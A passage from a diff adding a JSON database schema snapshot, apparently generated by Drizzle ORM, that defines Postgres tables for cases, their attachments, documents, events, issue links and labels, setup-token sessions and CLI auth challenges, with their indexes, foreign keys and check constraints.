+          "name": "case_attachments_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_attachments_asset_uq": {
+          "name": "case_attachments_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_attachments_company_id_companies_id_fk": {
+          "name": "case_attachments_company_id_companies_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_attachments_case_id_cases_id_fk": {
+          "name": "case_attachments_case_id_cases_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_attachments_asset_id_assets_id_fk": {
+          "name": "case_attachments_asset_id_assets_id_fk",
+          "tableFrom": "case_attachments",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_documents": {
+      "name": "case_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_documents_company_case_key_uq": {
+          "name": "case_documents_company_case_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_documents_document_uq": {
+          "name": "case_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_documents_company_case_updated_idx": {
+          "name": "case_documents_company_case_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_documents_company_id_companies_id_fk": {
+          "name": "case_documents_company_id_companies_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_documents_case_id_cases_id_fk": {
+          "name": "case_documents_case_id_cases_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_documents_document_id_documents_id_fk": {
+          "name": "case_documents_document_id_documents_id_fk",
+          "tableFrom": "case_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.case_events": {
+      "name": "case_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_events_case_created_idx": {
+          "name": "case_events_case_created_idx",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_events_company_case_idx": {
+          "name": "case_events_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_events_company_id_companies_id_fk": {
+          "name": "case_events_company_id_companies_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_events_case_id_cases_id_fk": {
+          "name": "case_events_case_id_cases_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_events_actor_agent_id_agents_id_fk": {
+          "name": "case_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "case_events_kind_check": {
+          "name": "case_events_kind_check",
+          "value": "\"case_events\".\"kind\" in (\n        'created',\n        'updated',\n        'fields_changed',\n        'status_changed',\n        'issue_linked',\n        'issue_unlinked',\n        'document_revised',\n        'child_linked',\n        'attachment_added',\n        'label_added',\n        'label_removed'\n      )"
+        },
+        "case_events_actor_type_check": {
+          "name": "case_events_actor_type_check",
+          "value": "\"case_events\".\"actor_type\" in ('user', 'agent', 'system')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.case_issue_links": {
+      "name": "case_issue_links",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_issue_links_case_issue_uq": {
+          "name": "case_issue_links_case_issue_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_issue_links_company_case_idx": {
+          "name": "case_issue_links_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_issue_links_issue_idx": {
+          "name": "case_issue_links_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_issue_links_company_id_companies_id_fk": {
+          "name": "case_issue_links_company_id_companies_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_issue_links_case_id_cases_id_fk": {
+          "name": "case_issue_links_case_id_cases_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_issue_links_issue_id_issues_id_fk": {
+          "name": "case_issue_links_issue_id_issues_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "case_issue_links_role_check": {
+          "name": "case_issue_links_role_check",
+          "value": "\"case_issue_links\".\"role\" in ('origin', 'work', 'reference')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.case_labels": {
+      "name": "case_labels",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label_id": {
+          "name": "label_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_labels_case_label_uq": {
+          "name": "case_labels_case_label_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_labels_company_case_idx": {
+          "name": "case_labels_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_labels_label_idx": {
+          "name": "case_labels_label_idx",
+          "columns": [
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_labels_company_id_companies_id_fk": {
+          "name": "case_labels_company_id_companies_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_labels_case_id_cases_id_fk": {
+          "name": "case_labels_case_id_cases_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_labels_label_id_labels_id_fk": {
+          "name": "case_labels_label_id_labels_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "labels",
+          "columnsFrom": [
+            "label_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cases": {
+      "name": "cases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_number": {
+          "name": "case_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_type": {
+          "name": "case_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'draft'"
+        },
+        "fields": {
+          "name": "fields",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "parent_case_id": {
+          "name": "parent_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cases_company_case_number_uq": {
+          "name": "cases_company_case_number_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_identifier_uq": {
+          "name": "cases_identifier_uq",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_type_key_uq": {
+          "name": "cases_company_type_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_status_idx": {
+          "name": "cases_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_type_idx": {
+          "name": "cases_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_project_idx": {
+          "name": "cases_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_parent_idx": {
+          "name": "cases_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_title_search_idx": {
+          "name": "cases_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "cases_identifier_search_idx": {
+          "name": "cases_identifier_search_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "cases_summary_search_idx": {
+          "name": "cases_summary_search_idx",
+          "columns": [
+            {
+              "expression": "summary",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cases_company_id_companies_id_fk": {
+          "name": "cases_company_id_companies_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "cases_project_id_projects_id_fk": {
+          "name": "cases_project_id_projects_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cases_parent_case_id_cases_id_fk": {
+          "name": "cases_parent_case_id_cases_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "parent_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cases_created_by_agent_id_agents_id_fk": {
+          "name": "cases_created_by_agent_id_agents_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "cases_status_check": {
+          "name": "cases_status_check",
+          "value": "\"cases\".\"status\" in ('draft', 'in_progress', 'in_review', 'approved', 'done', 'cancelled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.claude_setup_token_sessions": {
+      "name": "claude_setup_token_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "session_id": {
+          "name": "session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "lease_id": {
+          "name": "lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "deadline_at": {
+          "name": "deadline_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bound_at": {
+          "name": "bound_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "claude_setup_token_sessions_active_uq": {
+          "name": "claude_setup_token_sessions_active_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"claude_setup_token_sessions\".\"state\" IN ('starting', 'awaiting_code', 'submitting', 'persisting')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "claude_setup_token_sessions_session_id_uq": {
+          "name": "claude_setup_token_sessions_session_id_uq",
+          "columns": [
+            {
+              "expression": "session_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "claude_setup_token_sessions_deadline_idx": {
+          "name": "claude_setup_token_sessions_deadline_idx",
+          "columns": [
+            {
+              "expression": "deadline_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "claude_setup_token_sessions_company_id_companies_id_fk": {
+          "name": "claude_setup_token_sessions_company_id_companies_id_fk",
+          "tableFrom": "claude_setup_token_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "claude_setup_token_sessions_environment_id_environments_id_fk": {
+          "name": "claude_setup_token_sessions_environment_id_environments_id_fk",
+          "tableFrom": "claude_setup_token_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cli_auth_challenges": {
+      "name": "cli_auth_challenges",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "secret_hash": {
+          "name": "secret_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_access": {
+          "name": "requested_access",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'board'"
+        },
+        "requested_company_id": {
+          "name": "requested_company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pending_key_hash": {
+          "name": "pending_key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pending_key_name": {
+          "name": "pending_key_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approved_by_user_id": {
+          "name": "approved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "board_api_key_id": {
+          "name": "board_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_at": {
+          "name": "approved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cancelled_at": {
+          "name": "cancelled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cli_auth_challenges_secret_hash_idx": {
+          "name": "cli_auth_challenges_secret_hash_idx",
+          "columns": [
+            {
+              "expression": "secret_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cli_auth_challenges_approved_by_idx": {
+          "name": "cli_auth_challenges_approved_by_idx",
+          "columns": [
+            {
+              "expression": "approved_by_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cli_auth_challenges_requested_company_idx": {
+          "name": "cli_auth_challenges_requested_company_idx",
+          "columns": [
+            {
+              "expression": "requested_company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cli_auth_challenges_requested_company_id_companies_id_fk": {
+          "name": "cli_auth_challenges_requested_company_id_companies_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "requested_company_id"
